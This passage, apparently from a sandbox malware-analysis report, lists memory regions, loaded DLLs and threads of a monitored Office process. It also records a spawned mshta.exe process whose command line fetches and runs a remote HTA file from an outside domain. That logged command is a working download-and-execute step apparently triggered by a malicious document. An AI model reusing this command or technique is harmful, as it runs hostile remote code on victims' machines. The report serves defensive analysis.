0x74a00000 end_va = 0x74a20fff entry_point = 0x74a00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 308 start_va = 0x74a30000 end_va = 0x74b24fff entry_point = 0x74a30000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 309 start_va = 0x74b40000 end_va = 0x74b4afff entry_point = 0x74b40000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 310 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 311 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 312 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x75400000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 313 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 314 start_va = 0x75650000 end_va = 0x76299fff entry_point = 0x75650000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 315 start_va = 0x762a0000 end_va = 0x762e4fff entry_point = 0x762a0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 316 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x763f0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 317 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x76490000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 318 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x76520000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 319 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x76690000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 320 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76780000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 321 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767e0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 322 start_va = 0x76850000 end_va = 0x76876fff entry_point = 0x76850000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 323 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76910000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 324 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 325 start_va = 0x76ae0000 end_va = 0x76c7cfff entry_point = 0x76ae0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 326 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76c90000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 327 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d30000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 328 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 329 start_va = 0x76eb0000 end_va = 0x76ec1fff entry_point = 0x76eb0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 330 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 331 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 332 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x77310000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 333 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77410000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 334 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 335 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 336 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 337 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 338 start_va = 0x78800000 end_va = 0x7895bfff entry_point = 0x78800000 region_type = mapped_file name = "msxml5.dll" filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE11\\msxml5.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office11\\msxml5.dll") Region: id = 339 start_va = 0x7efa4000 end_va = 0x7efa6fff entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 340 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 341 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 342 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 343 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 344 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 345 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 346 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 347 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 348 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 349 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 350 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 351 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 352 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 353 start_va = 0x769c0000 end_va = 0x76adcfff entry_point = 0x769c0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 354 start_va = 0x76e90000 end_va = 0x76e9bfff entry_point = 0x76e90000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 355 start_va = 0x76ed0000 end_va = 0x76efcfff entry_point = 0x76ed0000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 356 start_va = 0x74420000 end_va = 0x74451fff entry_point = 0x74420000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 357 start_va = 0x4010000 end_va = 0x4010fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004010000" filename = "" Region: id = 358 start_va = 0x73f60000 end_va = 0x73f98fff entry_point = 0x73f60000 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\SysWOW64\\MMDevAPI.dll" (normalized: "c:\\windows\\syswow64\\mmdevapi.dll") Region: id = 359 start_va = 0x73f30000 end_va = 0x73f5ffff entry_point = 0x73f30000 region_type = mapped_file name = "wdmaud.drv" filename = "\\Windows\\SysWOW64\\wdmaud.drv" (normalized: "c:\\windows\\syswow64\\wdmaud.drv") Region: id = 360 start_va = 0x749c0000 end_va = 0x749c6fff entry_point = 0x749c0000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\SysWOW64\\avrt.dll" (normalized: "c:\\windows\\syswow64\\avrt.dll") Region: id = 361 start_va = 0x74b30000 end_va = 0x74b33fff entry_point = 0x74b30000 region_type = mapped_file name = "ksuser.dll" filename = "\\Windows\\SysWOW64\\ksuser.dll" (normalized: "c:\\windows\\syswow64\\ksuser.dll") Region: id = 362 start_va = 0x4020000 end_va = 0x4020fff entry_point = 0x4020000 region_type = mapped_file name = "wdmaud.drv.mui" filename = "\\Windows\\SysWOW64\\en-US\\wdmaud.drv.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wdmaud.drv.mui") Region: id = 363 start_va = 0x4440000 end_va = 0x4440fff entry_point = 0x4440000 region_type = mapped_file name = "mmdevapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\MMDevAPI.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mmdevapi.dll.mui") Region: id = 364 start_va = 0x73e40000 end_va = 0x73e75fff entry_point = 0x73e40000 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\SysWOW64\\AudioSes.dll" (normalized: "c:\\windows\\syswow64\\audioses.dll") Region: id = 365 start_va = 0x4450000 end_va = 0x4451fff entry_point = 0x0 region_type = private name = "private_0x0000000004450000" filename = "" Region: id = 366 start_va = 0x5080000 end_va = 0x5481fff entry_point = 0x0 region_type = private name = "private_0x0000000005080000" filename = "" Region: id = 367 start_va = 0x73c80000 end_va = 0x73c93fff entry_point = 0x73c80000 region_type = mapped_file name = "msacm32.dll" filename = "\\Windows\\SysWOW64\\msacm32.dll" (normalized: "c:\\windows\\syswow64\\msacm32.dll") Region: id = 368 start_va = 0x747e0000 end_va = 0x747e7fff entry_point = 0x747e0000 region_type = mapped_file name = "msacm32.drv" filename = "\\Windows\\SysWOW64\\msacm32.drv" (normalized: "c:\\windows\\syswow64\\msacm32.drv") Region: id = 369 start_va = 0x747d0000 end_va = 0x747d6fff entry_point = 0x747d0000 region_type = mapped_file name = "midimap.dll" filename = "\\Windows\\SysWOW64\\midimap.dll" (normalized: "c:\\windows\\syswow64\\midimap.dll") Region: id = 370 start_va = 0x4460000 end_va = 0x4460fff entry_point = 0x0 region_type = private name = "private_0x0000000004460000" filename = "" Region: id = 371 start_va = 0x4470000 end_va = 0x4470fff entry_point = 0x0 region_type = private name = "private_0x0000000004470000" filename = "" Region: id = 372 start_va = 0x4480000 end_va = 0x4480fff entry_point = 0x0 region_type = private name = "private_0x0000000004480000" filename = "" Region: id = 373 start_va = 0x4490000 end_va = 0x4490fff entry_point = 0x0 region_type = private name = "private_0x0000000004490000" filename = "" Region: id = 374 start_va = 0x4000000 end_va = 0x4002fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004000000" filename = "" Region: id = 375 start_va = 0x6fc60000 end_va = 0x6fc73fff entry_point = 0x6fc60000 region_type = mapped_file name = "msohev.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office12\\MSOHEV.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office12\\msohev.dll") Region: id = 376 start_va = 0x4480000 end_va = 0x448ffff entry_point = 0x0 region_type = private name = "private_0x0000000004480000" filename = "" Region: id = 377 start_va = 0x4490000 end_va = 0x44bafff entry_point = 0x0 region_type = private name = "private_0x0000000004490000" filename = "" Region: id = 378 start_va = 0x44c0000 end_va = 0x44c2fff entry_point = 0x0 region_type = private name = "private_0x00000000044c0000" filename = "" Region: id = 379 start_va = 0x4510000 end_va = 0x451ffff entry_point = 0x0 region_type = private name = "private_0x0000000004510000" filename = "" Region: id = 380 start_va = 0x4520000 end_va = 0x452ffff entry_point = 0x0 region_type = private name = "private_0x0000000004520000" filename = "" Region: id = 381 start_va = 0x4b40000 end_va = 0x4bbffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004b40000" filename = "" Region: id = 382 start_va = 0x5490000 end_va = 0x550ffff entry_point = 0x5490000 region_type = mapped_file name = "~df03b0b23d160eee42.tmp" filename = "\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~DF03B0B23D160EEE42.TMP" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\temp\\~df03b0b23d160eee42.tmp") Region: id = 383 start_va = 0x5550000 end_va = 0x558ffff entry_point = 0x0 region_type = private name = "private_0x0000000005550000" filename = "" Region: id = 384 start_va = 0x5770000 end_va = 0x586ffff entry_point = 0x0 region_type = private name = "private_0x0000000005770000" filename = "" Region: id = 385 start_va = 0x3f100000 end_va = 0x3f400fff entry_point = 0x3f100000 region_type = mapped_file name = "msgr3en.dll" filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\PROOF\\1033\\MSGR3EN.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\proof\\1033\\msgr3en.dll") Region: id = 386 start_va = 0x7efa1000 end_va = 0x7efa3fff entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 387 start_va = 0x4530000 end_va = 0x4540fff entry_point = 0x4530000 region_type = mapped_file name = "c_1250.nls" filename = "\\Windows\\System32\\C_1250.NLS" (normalized: "c:\\windows\\system32\\c_1250.nls") Region: id = 388 start_va = 0x4650000 end_va = 0x4650fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004650000" filename = "" Region: id = 389 start_va = 0x5590000 end_va = 0x56e3fff entry_point = 0x0 region_type = private name = "private_0x0000000005590000" filename = "" Region: id = 390 start_va = 0x5760000 end_va = 0x576ffff entry_point = 0x0 region_type = private name = "private_0x0000000005760000" filename = "" Region: id = 391 start_va = 0x5870000 end_va = 0x596ffff entry_point = 0x0 region_type = private name = "private_0x0000000005870000" filename = "" Region: id = 392 start_va = 0x753d0000 end_va = 0x753d9fff entry_point = 0x753d0000 region_type = mapped_file name = "msostyle.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office12\\MSOSTYLE.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office12\\msostyle.dll") Region: id = 393 start_va = 0x37a0000 end_va = 0x37affff entry_point = 0x0 region_type = private name = "private_0x00000000037a0000" filename = "" Region: id = 394 start_va = 0x4490000 end_va = 0x449ffff entry_point = 0x0 region_type = private name = "private_0x0000000004490000" filename = "" Region: id = 395 start_va = 0x4660000 end_va = 0x4661fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004660000" filename = "" Region: id = 396 start_va = 0x4670000 end_va = 0x467ffff entry_point = 0x0 region_type = private name = "private_0x0000000004670000" filename = "" Region: id = 397 start_va = 0x4bc0000 end_va = 0x4bc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004bc0000" filename = "" Region: id = 398 start_va = 0x4bd0000 end_va = 0x4bdffff entry_point = 0x0 region_type = private name = "private_0x0000000004bd0000" filename = "" Region: id = 399 start_va = 0x4d20000 end_va = 0x4d2ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d20000" filename = "" Region: id = 400 start_va = 0x4d30000 end_va = 0x4d3ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d30000" filename = "" Region: id = 401 start_va = 0x4d40000 end_va = 0x4d4ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d40000" filename = "" Region: id = 402 start_va = 0x4d50000 end_va = 0x4d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d50000" filename = "" Region: id = 403 start_va = 0x4d60000 end_va = 0x4d6ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d60000" filename = "" Region: id = 404 start_va = 0x4d70000 end_va = 0x4d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d70000" filename = "" Region: id = 405 start_va = 0x5510000 end_va = 0x551ffff entry_point = 0x0 region_type = private name = "private_0x0000000005510000" filename = "" Region: id = 406 start_va = 0x5520000 end_va = 0x552ffff entry_point = 0x0 region_type = private name = "private_0x0000000005520000" filename = "" Region: id = 407 start_va = 0x5530000 end_va = 0x5545fff entry_point = 0x0 region_type = private name = "private_0x0000000005530000" filename = "" Region: id = 408 start_va = 0x56f0000 end_va = 0x5711fff entry_point = 0x0 region_type = private name = "private_0x00000000056f0000" filename = "" Region: id = 409 start_va = 0x5720000 end_va = 0x5720fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005720000" filename = "" Region: id = 410 start_va = 0x5730000 end_va = 0x573ffff entry_point = 0x0 region_type = private name = "private_0x0000000005730000" filename = "" Region: id = 411 start_va = 0x5af0000 end_va = 0x5b2ffff entry_point = 0x0 region_type = private name = "private_0x0000000005af0000" filename = "" Region: id = 412 start_va = 0x5b40000 end_va = 0x5b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000005b40000" filename = "" Region: id = 413 start_va = 0x5be0000 end_va = 0x5cdffff entry_point = 0x0 region_type = private name = "private_0x0000000005be0000" filename = "" Region: id = 414 start_va = 0x5d10000 end_va = 0x5e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000005d10000" filename = "" Region: id = 415 start_va = 0x753c0000 end_va = 0x753c8fff entry_point = 0x753c0000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\SysWOW64\\linkinfo.dll" (normalized: "c:\\windows\\syswow64\\linkinfo.dll") Region: id = 416 start_va = 0x7ef9b000 end_va = 0x7ef9dfff entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 417 start_va = 0x7ef9e000 end_va = 0x7efa0fff entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 418 start_va = 0x75350000 end_va = 0x753bffff entry_point = 0x75350000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\SysWOW64\\ntshrui.dll" (normalized: "c:\\windows\\syswow64\\ntshrui.dll") Region: id = 419 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75330000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 420 start_va = 0x75320000 end_va = 0x7532afff entry_point = 0x75320000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll") Region: id = 421 start_va = 0x75310000 end_va = 0x75319fff entry_point = 0x75310000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\SysWOW64\\slc.dll" (normalized: "c:\\windows\\syswow64\\slc.dll") Region: id = 422 start_va = 0x37b0000 end_va = 0x37c0fff entry_point = 0x0 region_type = private name = "private_0x00000000037b0000" filename = "" Region: id = 423 start_va = 0x3ed0000 end_va = 0x3edffff entry_point = 0x0 region_type = private name = "private_0x0000000003ed0000" filename = "" Region: id = 424 start_va = 0x3ee0000 end_va = 0x3eeffff entry_point = 0x0 region_type = private name = "private_0x0000000003ee0000" filename = "" Region: id = 425 start_va = 0x5e10000 end_va = 0x7164fff entry_point = 0x5e10000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\SysWOW64\\imageres.dll" (normalized: "c:\\windows\\syswow64\\imageres.dll") Region: id = 426 start_va = 0x751a0000 end_va = 0x751fefff entry_point = 0x751a0000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll") Thread: id = 1 os_tid = 0x968 Thread: id = 2 os_tid = 0x964 Thread: id = 3 os_tid = 0x95c Thread: id = 4 os_tid = 0x954 Thread: id = 5 os_tid = 0x950 Thread: id = 6 os_tid = 0x8e8 Thread: id = 7 os_tid = 0x8d8 Thread: id = 8 os_tid = 0x0 Thread: id = 9 os_tid = 0x984 Thread: id = 10 os_tid = 0x988 Thread: id = 11 os_tid = 0x98c Thread: id = 76 os_tid = 0xaec Thread: id = 124 os_tid = 0xb98 Thread: id = 125 os_tid = 0xb9c Process: id = "2" image_name = "mshta.exe" filename = "c:\\windows\\system32\\mshta.exe" page_root = "0x76c3c000" os_pid = "0x9c0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x8d4" cmd_line = "C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe http://w-szczecin.pl/img2/NEW15_10.doc/index.hta " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 427 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 428 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 429 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 430 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 431 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 432 start_va = 0x190000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 433 start_va = 0x2c0000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 434 start_va = 0xdf0000 end_va = 0xdfefff entry_point = 0xdf0000 region_type = mapped_file name = "mshta.exe" filename = "\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe") Region: id = 435 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 436 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 437 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 438 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 439 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 440 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 441 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 442 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 443 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 444 start_va = 0x560000 end_va = 0x5dffff entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 445 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 446 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 447 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 448 start_va = 0x780000 end_va = 0x87ffff entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 449 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 450 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 451 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 452 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 453 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 454 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 455 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 456 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 457 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 458 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 459 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 460 start_va = 0x769a0000 